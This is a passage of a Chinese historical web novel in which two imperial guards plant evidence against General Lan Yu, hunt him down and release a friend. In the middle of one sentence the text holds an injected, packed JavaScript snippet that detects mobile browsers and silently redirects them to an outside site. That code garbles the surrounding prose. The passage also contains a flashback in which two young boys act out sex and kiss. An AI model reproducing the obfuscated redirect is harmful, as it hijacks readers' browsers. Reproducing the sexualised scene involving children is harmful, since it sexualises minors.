云起拓跋锋听到此话,肃然起敬。 云起笑道:“看完了,未寻到人,再想法子去,耽搁了蓝叔与尚书这许多时间,真是对不住了。待我查完案子,得空便去拜访蓝叔。” 蓝玉起身,道不急在一时,与兵部尚书一路,亲自将两名锦衣卫送到门口,方转身入内。 不知不觉,已是午后时分,夏季天如孩儿脸,说变就变,两人刚踏出兵部,天顶便是轰雷一道,乌云卷来,大雨倾盆而下,哗哗作响。 拓跋锋未来得及与云起交换意见,骤然被淋了满身,忙护着他寻那避雨之处,站在一处屋檐下,只听“咕”的一声轻响。 拓跋锋道:“饿了?” 云起仍沉在思索中,拓跋锋拍了拍云起肩膀,再问一次,云起方回过神,笑道:“刚吃了早饭,便给你收拾烂摊子来了,你说饿不?” 拓跋锋嘴角浮起一抹不易察觉的微笑,道;“师哥也饿了,先寻一处,填饱肚子再作计较。” 云起从屋檐下朝外张望,见道旁行人神色匆匆,淋得落汤鸡一般,笑道:“朝城西跑?过了九梁街,有间杜胖面馆……你带我在那馆子里吃过……” 拓跋锋道:“几岁的事了,还记得这般清楚。” 云起道:“成,我去了,你跟着……” “你伤刚好,莫淋雨了!”拓跋锋喊道,云起已一躬身,跑进了雨里,拓跋锋只得大步遥遥追上,一前一后,朝面馆冲刺而去。 6. 闻风而逃 小云起惴惴跟在小拓跋锋背后,报告道:“师哥,今儿我饿得不行了,吃你一个饼。” “哪来的饼?” “皇孙吃饭时藏了俩,分咱一人一个,我把你那个也吃了。” 小拓跋锋神秘地“嘘”了一声,抬袖子掸了掸小云起嘴上的饼渣,左右张望,拉着他,二人蹲在御花园假山后。 拓跋锋随手拾了根树枝,在地上圈圈画画,道:“方才师哥看到个事儿。” 小云起道:“啥事?” 小拓跋锋道:“路过清婉殿,听到女人叫……扒在窗户上看了一会,皇上在打贵妃,还趴在她身上一动一动……” 小云起傻乎乎道:“咋打她?贵妃不是大美人儿么?” 小拓跋锋呸了一声,道:“不是那种打!”随手扔了树枝,伸手来按小云起。 “这么样,俩脚夹着。把衣服脱了个精光……” 小云起十分茫然,被小拓跋锋推躺假山后的草地上,小拓跋锋“嗯”“嗯”地凑上来亲了一会,小云起兀自好笑,道:“这哪是打架。皇上是在疼她!” 小拓跋锋兀自顾着吻云起的唇,含糊道:“嗯,师哥疼你。” 小云起道:“不对,怎压着我,我不是女人!” 小拓跋锋道:“你压我。”说着翻过身,一动不动躺在草地上,道:“趴师哥身上。” 小云起似懂非懂地趴了上去,小拓跋锋又道:“侧着点。” 小云起枕着小拓跋锋的手臂,小拓跋锋又把他搂在身前,让他枕在自己胸口上,两人屈起脚,抱在一处。 御花园天空中清空万里,白云朵朵。 小云起忽道:“不对!这样还是把我当女人呢!” 小朱允炆转过假山,吓了一跳,结结巴巴道:“啊、啊……云哥……” 拓跋锋略有不悦道:“看什么?” “没看什么。”云起暗自好笑,舔了舔嘴唇,一本正经。 小二点头哈腰地端上两大碗牛肉面。拓跋锋取筷子,分筷子——云起挟了小半面条到拓跋锋碗里;拓跋锋把自己碗中薄牛肉挟给云起。 二人习以为常地互换面与肉,各自拌了拌海碗里面条,埋头开吃。 牛肉切得纸般薄,在昏暗的油灯光下发出诱人的光泽,面汤上泛了一层红油,散出葱花的清香。 面馆外电闪雷鸣,一场暴雨在南京的上空呼啸。 雨天无客,小二擦了空桌子,坐在柜台后愣愣看着云起,准备打烊。 拓跋锋先吃完,放了筷子,静静看着云起,片刻后低声问道:“你说,蓝玉知道这事不?” 云起满意地喝完一大碗汤,身上热乎乎的,抬袖抹嘴,唇上泛着诱人的红润,笑答道:“八成不知,否则也不会让我看名册。” 拓跋锋点了点头,云起又道:“线索到这里又断了,回去问老头子?” 拓跋锋答道:“不用,现大概知道是怎么回事,待雨停后再去李家村。小二!你打烊罢,借张凳坐。” 拓跋锋付了面钱,搬来一张条凳,与云起并肩坐在屋檐下。 雷霆于天顶奔腾而过,地面绽放出千万朵碎白的水花。 拓跋锋问道:“老头子……最开始怎说?” 云起茫然道:“他说这定是件大案。我就想不通了,蓝玉将军麾下一个士兵,能牵涉到多大的案?” 拓跋锋道:“你莫忘了,是谁吩咐下来的。” 又一道炸雷,将雨中行人的脸映得苍白。 云起蹙眉道:“是皇上要……借机杀谁?” 拓跋锋不置答,云起道:“容我整理一下思路。” “首先,城外死了个李喜儿,被一个叫王虎的人杀了,皇上知道后,让我们调查。问题是出在,皇上怎么知道的?” 拓跋锋道:“先不想这个。” 云起又道:“成,先不想,这个叫王虎的人,是个士兵,而且是从蓝玉的军队中退伍,回了李家村过日子。” “这与蓝玉有多大关系?士兵已解甲归田,已不受他管。就算给他扣个帽子,也须是在他麾下时……” 拓跋锋忽道:“李家村之人姓李,并非王虎家乡。” 云起猛地醒觉,道:“那么田地争执也不该有,本就不是他的家,争甚田?” 拓跋锋点了点头,道:“除此以外,唯一的可能是……” 云起颤声道:“王虎不知在做何事,兴许是被死者撞破,而后杀人灭口……我们得回去查,该是漏过搜他的家了。” 拓跋锋见雨势稍小,遂道:“走罢。蹊跷便在他家中,若能搜出什么来,便是栽赃,我猜多半是栽赃。” 云起一想便知,王虎如有同党,此刻该将旧屋内之物收拾得干净。若再翻出来,便是有人给蓝玉栽赃了。 云起忙跟上拓跋锋,在其身后匆匆道:“李家村是太子出殡时的必经之路,通往南京皇陵……” 云起停下了脚步。 拓跋锋在小雨中转身,点头道:“我猜皇上想给蓝玉扣个造反的帽子。” 云起颤声道:“师兄,你忘了毛骧是怎么死的?当年胡惟庸一案,由他亲手查出,近万人落得满门抄斩!” “皇上只得杀毛骧以平众怒……这案不能再查下去了!恐怕牵连太大,听我的,转交刑部!” 拓跋锋道:“相依……死不了你。”继而不顾云起,自朝城外行去。 云起深深吸了口气,转身就跑。 “你去何处!”拓跋锋在雨中大喊。 云起不答,拓跋锋追了几步,在水中站定,想了片刻,喊道:“云起,莫瞎跑!跟师兄走!” 云起大步飞奔,溅起无数水花,黑锦靴湿透,雨水顺着他的额发滴下,甩一把袖,冲进了那间熟悉的小楼。 云起提起门上铜环一通猛拍,黑木大门吱呀一声,缓缓打开。 “师娘!”云起气喘吁吁道:“夜里还来叨扰,实在不过意……” 蒋夫人披着斗笠,手中提着牛皮灯笼,嫣然一笑道:“进来罢,徒弟儿。老蒋坐家里等你一天了。” 云起接过姜汤,仰脖喝了几口,蒋瓛坐于椅上,沉声道:“查出来了?” 云起点了点头,道:“师兄去城外了,师父!这案子查不得!明天须转刑部,皇上究竟是怎么想的?!我俩不过是锦衣卫,要真的告发蓝玉谋反,姑且不论有无此事,成山成海那征北军,整个朝廷上下,还不得把我们给砍了?!” 蒋瓛朝夫人道:“你唤个人,到城门处走一趟,见拓跋锋回京,让他别进宫,到府里来。” 蒋夫人点头去了,蒋瓛道:“云起,你唯恐自己成了毛骧?” 云起不答,蒋瓛道:“你出身显赫,来日皇太孙登基,你前途无量,如今担个副使,不过是让你学学,待得能独挑大梁之时,你便是正使。” 云起道:“那师兄呢?!师兄无依无靠,又是突厥血统,万一闹大了不好收场,第一个被踢出来背黑锅的定是他!你怎不帮师兄想想?!” 蒋瓛冷笑道:“锋儿不查谁去查?你道他是背的何人黑锅?” 云起喝了姜汤,只觉嗓子一阵火辣辣的疼,说完这句后,蒋瓛便沉默不语,闭上双眼,师徒二人对着一炭炉静坐。 半晌后,云起忽又道:“师父,我想好了……” “闭嘴!”蒋瓛冷冷斥道。 过得半夜,雨又转大,蒋家侍卫终于截住回京的拓跋锋。 拓跋锋手提一个大包袱,落汤鸡一般地进了前厅,见云起与蒋瓛在一处,不甚讶异,显是早已猜到。 拓跋锋将包袱置于桌上,抱拳见过蒋瓛。 “查出来了?”云起不安问道。 拓跋锋朝揭开包袱,内置数十把利弩,弩上淬了剧毒。 拓跋锋淡淡道: “王虎房内,床下有一秘道,循秘道朝村外半里处,地底埋了不少火|药。大雨下已尽湿,再引不燃。” “还搜出一封信。” 拓跋锋抖开被浸湿的信纸,双手将信奉于蒋瓛,蒋瓛捋须看了片刻,道:“此乃蓝玉密令此人的谋反信,让其于太子出殡之时,以毒箭射杀皇上与皇孙。” 拓跋锋略一点头,道:“火|药若过早埋设,恐天雨,是以先挖秘道,待得时近扶灵,再予填埋……多半死者便是窥到此事,遭到王虎杀人灭口。” 蒋瓛又道:“观此十余把弩|箭,该有同党。” 拓跋锋答道:“同党……不知有何人。” 蒋瓛嘲道:“不知是谁?云起,告诉他。” 云起不答,蒋瓛怒道:“师父的话也不听了?!” 云起过了好一会方道:“李家村那些村民……都可视为同党,你该拖几个壮年男子一并杀了,弃在房中,留待明日早朝时,让刑部来查,如此便可坐实……唉。” 拓跋锋道:“你早该同去,本就离了你不成。原来把局设于李家村,村民是这么用的,记下了。” 蒋瓛道:“罢了,如今还差一物。”云起与拓跋锋俱不明就里,蒋瓛又道:“婉儿,房里取块木牌。”说毕提笔蘸墨,云起忙上前伺候笔墨。 蒋夫人手持一印刀,一块木牌,坐到桌侧,蒋瓛绘了个图样,吩咐道:“照着刻。” 蒋夫人嫁予这第二任锦衣卫指挥使前,便是南京金店中巧手匠娘,一把锐刀使得出神入化,厅外只闻哗哗雨声。 蒋夫人哼着小曲儿,矜持微笑,手起刀落,不多时竟是刻出一面军中腰牌。 大明洪武威扬七军检校司:王虎。 刻上军名后,蒋瓛又吩咐道:“上三层清漆,湿泥封了,置火中烘烤,烤完用朱砂与墨调开,牌子背后抹个血印。” 蒋夫人应声去了,云起心内打了个寒颤。 过得半个时辰,蒋夫人臂上挽着一套多年前,蒋瓛穿过的飞鱼服,又将腰牌亲手放在桌上的包袱顶端。 蒋夫人抖开飞鱼服,柔声笑道:“谁穿?” 云起已烘得干了些许,拓跋锋却依旧是一身湿淋淋,取过云起喝剩的半碗姜汤灌下,道:“我穿,现便入宫面圣。”说毕上前去接。 蒋夫人却避了开去,笑道:“逗你们玩儿呢。” 蒋瓛重重地出了口气,起身,张开双臂。 蒋夫人将那侍卫飞鱼服为蒋瓛穿好。 云起与拓跋锋色变,同声道:“师父!” 蒋瓛道:“老了——!云儿如今可安心了?师父亲自为你俩走一遭。” 蒋夫人一面为蒋瓛系腰带,一面低声道:“太子早薨,皇上脾气颇有点蹊跷,老爷须得当心着回话。” 蒋瓛道:“三任锦衣卫正使,以我老蒋侍圣最久,自不至于说错了话。” 蒋夫人笑道:“不过白提醒着,早点回来,进宫眼珠子仔细着,别乱瞥。” 蒋瓛点了点头,着拓跋锋提着包袱,府外马车早已备下,一师二徒,乘上马车,过了午门。 电光撕破夜幕,雷霆万顷,大雨倾盆。 洪武二十五年七月八日,四大案中牵连最广,死伤者最多的蓝玉案即将定案。 马车中的三个人身上,决定了无数人的性命与未来。 御书房中仍是灯火通明。 蒋瓛道:“你二人回院里侯旨,物证皆在,不用进去了。” 拓跋锋与云起知道蒋瓛定有话要与朱元璋说,便各自躬身。 蒋瓛又吩咐道:“歇足了精神,明日早朝时,锋儿排的轮值要改,你二人须一同上朝,分侍左右。” 拓跋锋恭敬应了,二人这才告退,蒋瓛接过那包袱,便进了御书房。 云起疲惫无比,穿过大半个皇宫,回到侍卫院,解了禁足令,众侍卫方纷纷七嘴八舌,一拥而出,询问不休。 云起道:“张勤呢?” 有人笑答:“房里歇着呢。” 云起道:“我看看去,明儿得临时换值,谁想睡懒觉的,自个给老跋说。” 云起径自进了张勤房,张勤伤势倒不甚重,额上涂了点药,坐在床上,手里只拿着那扑荧扇翻来覆去地看。 张勤见云起归来,忙起身道:“他娘的……” 云起笑了起来,道;“睡就是。” 张勤道:“没遭打罢,老子风风火火回来,等在宫门前,本要唤弟兄们一同上,抄了他兵部,赶着进院里,你就走了……” 云起笑道:“不战而屈人之兵,懂么?” 张勤忿忿道:“没找他们晦气?” 云起神秘兮兮道:“我自有办法,不急在这时,你等着瞧就是,到时让你捋袖子上。先歇着罢,过几日事儿便发了。” 张勤道:“那成,打架别忘了我啊。” 云起嗯嗯几声,转身离去,带上了房门,见庭廊外站着拓跋锋。 拓跋锋道:“张勤没怎生受折腾,兵部那群人也不敢下狠手。” 云起点头:“你说皇上若是存心要诬蓝玉谋反,明儿朝廷上闹将起来,压不住,须几个人架他?” 拓跋锋答道:“我已排了班,你、我,荣庆三人身手最好,早朝时,廷里站十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16472487|185544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二人,殿外守十二人,午门前再留十二人照应。” 云起疲惫交加,打了个呵欠道:“成,那我先睡去。” 拓跋锋道:“睡甚睡,淋了一场雨,洗洗,莫受了风寒。”说毕也不顾云起挣扎,箍了他脖子便径拖走了。 澡堂内蒸汽升腾,氤氲一片,窗外大雨哗哗地下着。 云起脱光衣物,蹲坐在一张矮凳上,背对拓跋锋。 拓跋锋以毛巾浸满热水,双膝触地,跪在云起身后,仔细地擦拭着他的伤口。 “老头子偏心得很”云起道。 拓跋锋聚精会神地擦着,接口道:“早与你说过。” 云起叹了口气。 静了片刻,云起忽问:“要是皇孙登基,让我当正使……怎办?” 拓跋锋莫名其妙道:“不怎办。问这作甚?” 云起道:“你呢?” 拓跋锋答道:“我当副使就是。锦衣卫做得了一辈子?老头子那年纪,半夜还得入宫,累不累。换了我,告老后便走得远远的,与……”拓跋锋打住了话头。 云起心中一动,道:“与谁。” 拓跋锋漠然道:“与你,你去不?大漠上,克鲁伦河……放牧。” 云起嘲道:“话头转得够快,可惜马脚早露了出来,与谁?” 拓跋锋饶有趣味道;“只怕你这财迷,官痴,不愿去。” “马脚?”拓跋锋说着,伸手环过云起的腰,拉着他贴在自己身前,以大腿不住摩挲云起腰际。 云起面红耳赤道:“正使,烦请手勿乱摸。看上哪家姑娘了?待我带弟兄们陪你抢亲去?” 拓跋锋把云起抱在身前,低声道:“叫师哥。” 云起哭笑不得道:“师兄大人……手勿……乱摸。” 拓跋锋低声道:“叫‘师哥’,小时唤的那句。” 云起兀自挣扎,拓跋锋一手紧紧箍着云起,道:“与你。” 云起想了想道:“我替你存了好些银子,来日给你娶媳妇,现有四十四两……” 拓跋锋不答,把下巴享受地搁在云起的肩膀上,嗅了嗅他的脖颈,道:“不娶媳妇,你收着罢。” 云起微一错愕,拓跋锋的声线低而沉厚,道:“转过来。” 云起略侧过头,凝视拓跋锋,其深眸如同浸了水的棕色琥珀。英俊,瘦削的脸上带着大漠男儿的英气。 他的鼻梁高挺,与云起相抵,唇的弧度犹如戈壁,坚硬转折,干净的脖颈上尽是热气蒸出来的细密汗珠。 拓跋锋低声道:“师哥疼你。”继而闭上双眼,吻了上来。 瞬间,云起心头像被一只猎豹的爪子轻轻挠了一下,他随着那一触,闭上眼。 拓跋锋的吻生涩而笨拙,他在云起嘴唇上来回摩挲,却不知吸吮;他以强健修长的手臂抱着云起,一如他们幼时相拥。 云起便这么被亲了半天,想到一事,忽然扑哧一声笑了起来。云起曾好奇向春兰问过,亲嘴咂舌是怎生个光景,春兰乃是舞烟楼红牌,绘声绘色,说得云起面红耳赤——很明显,拓跋锋半点也不熟。 拓跋锋睁开眼,一头雾水道:“笑甚?” 云起道:“没,现在信你没哪家相好了。” 拓跋锋笑道:“本就是实话。” 云起不自然地用毛巾捂着,进了澡池,背上伤口在热水的刺激下隐隐发痛,令他直哼哼。 云起心不在焉,只想那两枚玉佩,拓跋锋等了半晌,像是想进来一起洗,却又不太敢。 仿佛那一吻,对他来说改变了什么。 云起蹙眉,转头瞥了拓跋锋一眼,道:“不洗?” 拓跋锋脸上微微发红,摇了摇头,云起逾发疑惑了。 拓跋锋随手取来毛巾遮着,道:“快点,伤浸不得水。” 云起吁了口气,洗完出来,拓跋锋为他穿好单衣,方道:“去睡罢。” 云起回房,摸出两枚玉佩,躺在床上,翻来覆去地看。少顷门一推,拓跋锋进来,云起瞬间把玉佩塞回枕下,疑道:“咋了?” 拓跋锋擦干头发,看了一会云起,理所当然地走到床边,开始用毛巾擦脚。 云起满头问号,看着拓跋锋,拓跋锋一脸狐疑地看着云起。 云起道:“这是我房间!回你自己房里睡去!” 拓跋锋愣住了,仿佛云起这句话十分荒谬,云起蹙眉道:“你……淋雨淋烧了?”说毕伸手去摸拓跋锋额头。 拓跋锋仿佛很失望,坐在床边,过了片刻,淡淡道:“哦。”于是起身走了。 云起道:“傻子……”继而倒头便睡。 迷迷糊糊中,云起似乎听到隔壁房内有翻箱倒柜的声音,知道拓跋锋在找玉佩,遂笑了笑,翻身入睡。 也不知过了多久,直至暴雨停了。 二更时分,一院皆静,满地败叶,乌云散去,上弦月朗照夜空,皎洁之光铺遍南京。 一太监尖声道:“锦衣卫指挥正使拓跋锋,副使徐云起接旨——!” 瞬时间,侍卫院各房内传来嘈杂之声,无数房门打开关上,云起半睡半醒,跑出房来,在台阶上险些滑了跤,被匆匆赶至的拓跋锋抱住。 “怎么了?” 拓跋锋声音沙哑,道:“不知。” 云起借着月光,隐约可见拓跋锋双眼充满红丝,似是仍未睡着。 “奉天承运,皇帝诏曰:大将军蓝玉谋反,其罪可诛!夤夜畏罪潜逃;今命拓跋锋,徐云起,率领锦衣卫四十八人出京追缉。若有顽抗,就地正法,钦——此——!” 拓跋锋与云起同时背脊发凉,彼此对视一眼,从对方目光中看出,各自思考的问题俱是同一个。 谁走漏了风声?!!朱元璋定是气狠了! 四十八人缉拿蓝玉大将军?!蓝玉带了几名亲卫未知,若是有近百人,莫非要锦衣卫全体陪葬么?! 云起尚且思维恍惚,拓跋锋已答道:“臣领旨!”继而接了黄锦,起身吼道:“换飞鱼服,取绣春刀!都听到了么!院内集队!” 云起越想越不对劲,该不会是怀疑自己走漏风声,不可能……云起扫视冲出房外的侍卫们一眼。各个跳着穿靴,扣帽,面容紧张忐忑。 那么便是恐怕惊动了群臣,天子不敢派军队追捕,所以必须连夜抓人,想到此处,云起稍觉心安,拓跋锋已命令道:“云起!快回房去换衣服!” 云起扫视一眼,朝房内匆匆走去,倏然间,他发现张勤的房门仍是掩着的,确实是在锦衣卫这处走漏了风声。 7. 蓝玉落网 夜色如墨般浓沉,紫金山中,茫茫树海被一群突如其来的闯入者惊醒,无数惊雀一瞬间离了纸头,唧唧咋咋,朝漆黑的天幕上飞去。 数十匹汗血马腾然冲进了山中,马嘶声不绝于耳。 锦衣卫各踞马上,散为扇形,不安地眼望拓跋锋。 拓跋锋沉声道: “以缉拿首犯蓝玉为第一要务,敌方战力据判断约四百人,分两队逃离,一队往山顶,一队往紫金山西北面。” “荣庆、张勤二人各带一队……” 云起打断道:“张勤不在。” 拓跋锋眯起眼,续道: “涂明补上队长一职,分两路追缉,利用夜色掩护进行偷袭,队长确认蓝玉身份后放火筒。蓝玉若脱逃,不可穷追,只需确认他在哪一队便可。” 涂明与荣庆各自带队匆匆去了,留拓跋锋、云起驻马立于空地中。 拓跋锋与云起静静对视,少顷四野狼嚎倏起,拓跋锋昂首眺望,乌云退去,现出一弯勾月。 拓跋锋深棕色的瞳中映出天际一轮银雷,缓缓道: “蓝玉麾下副将名扎库尔,西域人,善使一把铜刀,悍勇无匹,膂力强极,称为军中第一高手,若是他跟随在蓝玉身边,你当仔细着。” 云起道:“铜刀多重?” 拓跋锋答道:“六十斤。” 云起道:“重型兵械,使开定不及巧。” 拓跋锋点了点头,云起又道:“张勤……” 瞬间烟火筒在西面升起,爆开,一阵厮杀声远远传来,拓跋锋与云起同时猛催胯下宝马,朝信号点疾冲而去! “架弩!”蓝玉仓皇吼道。 “鹰犬好狠的爪子!”扎库尔满身浴血,耍开一把大铜刀,登时将冲上前来的锦衣卫扫得横飞出去! 那人哇地吐了口血,朝后败退,瞬间又有十名同伴手执绣春刀扑上。 “放箭!” 叮叮叮数响,弩箭四飞,绣春刀抖开一道滴水不漏的银光,恍若屏障般将箭矢扫向四周。 “鹰犬穿了钢衬里衣!” 扎库尔吼道:“大将军请先走!末将在此殿后!” 蓝玉吸了口气,咆哮道:“岂能先走!” “走啊——!”扎库尔喊道。 锦衣卫对上蓝玉亲兵,登时如虎入羊群,汗血马极是神勇,绣春刀锐利无匹,将亲兵杀去大半。 眼见己方死伤甚重,扎库尔吼道:“姑爷护着将军先走——!快!” 蓝玉发出一声悲戚的咆哮,猛然调转马头,冲出了包围圈。 众锦衣卫将扎库尔围在中央。 扎库尔侧头吐了口血沫,冷笑道:“狗腿们!使出吃奶的力气,上来接爷爷的大刀!穿甚都没用,爷爷将你们……” 一声刺耳尖锐的狼啸。 “第二队待命!” “除伤员外,其余人等跟上副使——!” 云起与拓跋锋猛催战马,疾速飞奔。 于那马上狂奔的空档,云起扯下腰畔佩刀抛出。 拓跋锋伸手一捞,稳稳接住。 拓跋锋左右手各执一刀,双手猛然横挥,甩出刀鞘,跃出半空,一个漂亮至极的前翻。 云起穿过锦衣卫包围圈,打了个呼哨。 扎库尔转身大喝,抡起铜刀,朝云起当头劈下! 眼看那一劈正要把云起连人带马砍翻在地,拓跋锋雪亮的刀锋已逼至跟前! 扎库尔迫不得已,转身招架! 拓跋锋双刀齐掠,犹如暗夜中的狼爪,于月色下拖出银色光痕,行云流水。 众侍卫齐声喝彩! 金铁之声犹若龙吟,响彻月夜,扎库尔怒吼一声,横刀当胸,被震得虎□□裂,朝后踉跄着摔去! 短短数息间,云起已领着十余名锦衣卫扬长而去。 拓跋锋稳稳落定,双手手腕一旋,荡开优美的弧光,持刀指向扎库尔,漫不经心道: “在下拓跋锋,狗腿们的头,请赐教。” 云起率领二十人沿着蓝玉逃脱方向一路穷追,直奔至一处山崖前。 对崖飞来箭雨,众锦衣卫大喊一声,各自抡刀上前,护住头脸,筑成人墙将无佩刀的云起护在身后。 山崖高处虎视眈眈地埋伏了上百弩手,云起稍一计算,便知蓝玉已是壁虎短尾,独自脱逃,留下亲兵殿后,吩咐道: “你们护着我过去,回头冲杀下来!” 锦衣卫分开两路猛冲,射于腰际的利箭都被钢鳞内甲挡下,饶是如此,冲力亦令云起胸腹暗痛。 待得过了最后那道防线,云起便弃了座骑,就地一个打滚,掠过崖口,朝山下追去,众侍卫则各自持刀合围,转头朝来时的弩箭手埋伏之地大声冲杀而去。 空山新雨,足印陷于湿泥中,云起借着月光稍一分辨,便知蓝玉只剩两名亲兵在侧。 蓝玉没入山林,左藏右拐,沿路以长剑劈砍荆棘,此刻披风都已被撕得破烂,军功赫赫的镇北大将军,成了狼狈逃亡的丧家之犬。 张勤搂着蓝沫,安静地跟在蓝玉身后。 “爹爹……”蓝沫忍不住道。 蓝玉示意噤声,道:“沫儿,莫怕,这次定能逃得出去,只需出了紫金山,寻得牛首关处接援,当保无恙。” 蓝玉将手按在张勤的肩上,道:“郢会,今夜之恩,我蓝玉定将铭记于心……” 张勤忙道:“大将军言重了。” 蓝玉一面在前开路,唏嘘道:“我只以为锦衣卫中人,都似徐云起那小畜生,不料郢会你任职五年,仍是把沫儿放在心上。” “待此次离开京城,安然抵达捕鱼儿海,我便将沫儿许配于你,如何?” 蓝沫听其父许亲,纵是身陷险境,却仍情不自禁地泛起颊红,张勤却面有忧色,只淡淡叫了一声“岳父”,便不再多说。 三人沿着峭壁一路前行,逐渐靠近紫金山接壤沿河平原的低地,蓝玉笑着想再说句什么,远处传来一声临死的痛嚎。 张勤登时色变:“扎库尔死了?” 蓝玉沉声道:“来日再为他报仇,走!” 张勤道:“岳父,你带着沫儿先走!我在此处阻他二人!” 蓝玉道:“万万不可!扎库尔无妻无子,已为我而死,你若被拓跋锋徐云起抓了回去,势必牵连一家老小,绝不可莽撞!” 张勤先前听心上人临危,便一时冲动,前来报信,此刻想到家人仍在南京,若事后朱元璋追究起来,只怕要诛了自己九族,不由得浑身发抖。 蓝玉却似是看穿了张勤心思,嘲道:“小子这时间怕了?也罢,岳父留下断后,你带沫儿走!” 蓝沫惊叫道:“不!爹爹!” 张勤一咬牙,单膝跪下,道:“徐云起与我是至交好友,大将军走就是!” 蓝玉怒极反笑:“事到如今,妄想讲究情义,简直就是可笑至极!张郢会!我错看了你!” 张勤道:“快走啊!拓跋锋与云起已联手杀了扎库尔……” 云起坐在树枝上,懒懒笑道:“是老跋自己杀的,啥裤子衣服的,可不管我事。” 蓝玉与张勤瞬时转身,蓝玉一声大吼,举起手中长剑,扑上前去,张勤将蓝沫一扯,护在身后,抽出腰间佩刀,寒光如雪。 云起攀着树枝一个纵跃,蓝玉喝道:“他腰间无刀!不过是行拖延之计,郢会!联手杀了他!” 张勤警惕地盯着云起,蓝玉挥剑砍至,云起只笼着袖子不住避让,笑吟吟道:“蓝叔,那你还打个甚,赶紧跑才是……” 张勤摇头道:“不,岳父!不可轻敌!” “哟!”云起一抖衣袖,唏嘘道:“兄弟,盈盈一水间,沫沫不得语……” 张勤喝道:“小心——!” 说时迟那时快,云起袖中现出一片薄薄的钢箔,钢箔连着一根细不可见的蚕丝,于空中轻飘飘荡了个圈,卷上蓝玉粗壮手臂。 张勤挺起佩刀,朝空气中那根看不见的丝线疾砍! 云起随手一扯,蓝玉发出一声惨嚎,右手长剑竟是连着手腕一同被割了下来! 那片钢箔在空中回旋,现出锋锐的血色,与张勤佩刀交错而过,“叮”的一响,绣春刀断为两截。 “……原是蓝家的大小姐。” 云起并起食中二指一绕,蝉翼刀归袖。 蓝玉纵声嘶吼,一手捧着断腕,痛苦地栽在地上。蓝沫尖叫一声,扑上前去。 张勤手执半把刀,面如死灰,许久后长叹一声,将刀柄扔在地上。 “刀在人在,刀断人亡,张勤。” 张勤大哭起来,跪在云起身前。哽咽道:“云起,看在一场兄弟的份上,郢会求你一事……” 云起拢袖,静静听着。 张勤自知一死难逃,索性上前抱着徐云起的脚,道:“我一人做事一人当,莫牵连了我老父老母,你杀了我,将我投入这山谷里去,求你了!云起!” 云起叹了口气,蹙眉道:“来日皇上追究起,如何走漏了风声,你又让我如何作答?” “张勤,你这一时冲动,可是把我害得惨了,今夜锦衣卫少了一人,尚不知如何圆,恐怕这次我也兜不住。” “唯今之计,只有让蓝大将军与我回去,若谋逆……谋逆之事可翻案,你顶多就治个发配从军的罪名。” 蓝玉圆睁血眼,猛地大叫:“天地良心——!蒋瓛一手遮天,徐云起,你与朱棣合谋诬我,此刻还妄想令我当个冤死鬼,你良心可在!你有何颜面,去九泉之下见你徐家将门祖宗!” 数日来之事被蓝玉喝破,云起不由得汗毛直竖,挣扎着退了几步,与张勤对视。悍然道:“蓝玉!闭嘴!否则我便把你舌头割了!” 蓝玉狂笑道:“你这狗腿!本将军只悔错看了你!徐云起,你先专横跋扈就是,且看来日落得怎个下场!” 云起心中一动,嘲道:“这话如何说?蓝玉大将军可是会断人八字?” 蓝玉忍痛疾喘片刻,咬牙切齿道:“你以为倚着皇孙这株大树便可作威作福?朱重八归西前,必先诛去你锦衣卫一名指挥使……” 云起心中一惊,想到那日蒋瓛的话: 待得来日能独挑大梁之时,你便是正使…… 云起吸了口气,朱元璋死前,要杀掉拓跋锋,免得锦衣卫难以驾驭?连蒋瓛蓝玉也看出来了? 张勤万念俱灰,不再看云起一眼,躬身到蓝沫身边,与其紧紧相拥,彼此痛哭起来。 云起恻然道:“这样,兄弟,别哭了。飞鱼服扯下来给我。” 张勤与蓝沫满脸是泪,不明就里,云起不悦道:“快!等老跋到了就来不及了!” 说完这句,云起忽然察觉到密林中有一双眼睛注视着自己。 张勤动手撕下肩头锦服,颤抖着交给云起,云起拾起断了的绣春刀,卷在一处,道:“你俩走吧,带着蓝家小姐,下山去,快。” 张勤终于醒悟,忙抱起蓝沫,踉跄着走了几步,蓝沫尚且破声叫道:“爹爹——!” 张勤看了云起一眼,云起缓缓摇头,道:“快走。” 张勤抱着蓝沫,不顾其大声哭号,匆匆奔了下山去。 紫金山下,秦淮河金鳞万顷,旭日初升。 红光遍野,转过山麓,云起目送张勤与蓝沫的身影成为小黑点,消失于山下,方道:“师哥,求你个事,别追了。” 拓跋锋手中提着个包袱,一身是血,听云起叫到,方从矮树丛中转出。 拓跋锋定了片刻,抬手摸了摸耳朵,把它捏扁,又放开,答道:“哦。” 继而把包袱扔在地上,扎库尔的人头滚到蓝玉脚旁, “怎不留个全尸?”云起道:“割了头做甚。” 拓跋锋漠然道:“不留神,把这第一高手砍碎了……双刀用起来收不住手。” 云起笑了起来,道:“从此你是第一高手了。” 拓跋锋谦虚地点了点头,从怀中掏出一个焰火筒,晃了折子点燃。 锦衣卫们纷纷寻来,蓝玉归案。 洪武二十五年秋,蒋瓛密告蓝玉谋逆,报蓝玉伺太祖出巡之时,乘机劫驾。朱元璋得此密报,遂令锦衣卫缉拿,蓝玉是夜仓皇逃窜,于紫金山中落网。 锦衣卫发兵五十人,轻伤十余人,死一人。 礼部左侍郎独子张勤,缉敌途中与扎库尔贴身相搏,坠下万丈深渊,尸骨无存。 蓝玉落网后,其女蓝沫畏罪跳崖自尽。 “是殉情罢。”朱允炆问道:“城里都说沫沫与勤哥是青梅竹马……” “你知道得太多了。” 云起瞥了朱允炆一眼,嘴角微翘,提笔蘸墨,展开奏折。 朱允炆不悦道:“云哥儿,他是你的兄弟啊!” 云起道:“没死,我把他俩放走了,这话可千万别漏了出去,我一个脑袋不够砍的。” 朱允炆这才松了口气,道:“我就知道你没这般狠心。” 云起叹了口气,斥道:“你 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拓跋锋被云起踩了一脚,嘲讽的笑容方自觉敛去。 锦衣卫正副使离了礼部侍郎家,徒步回宫。 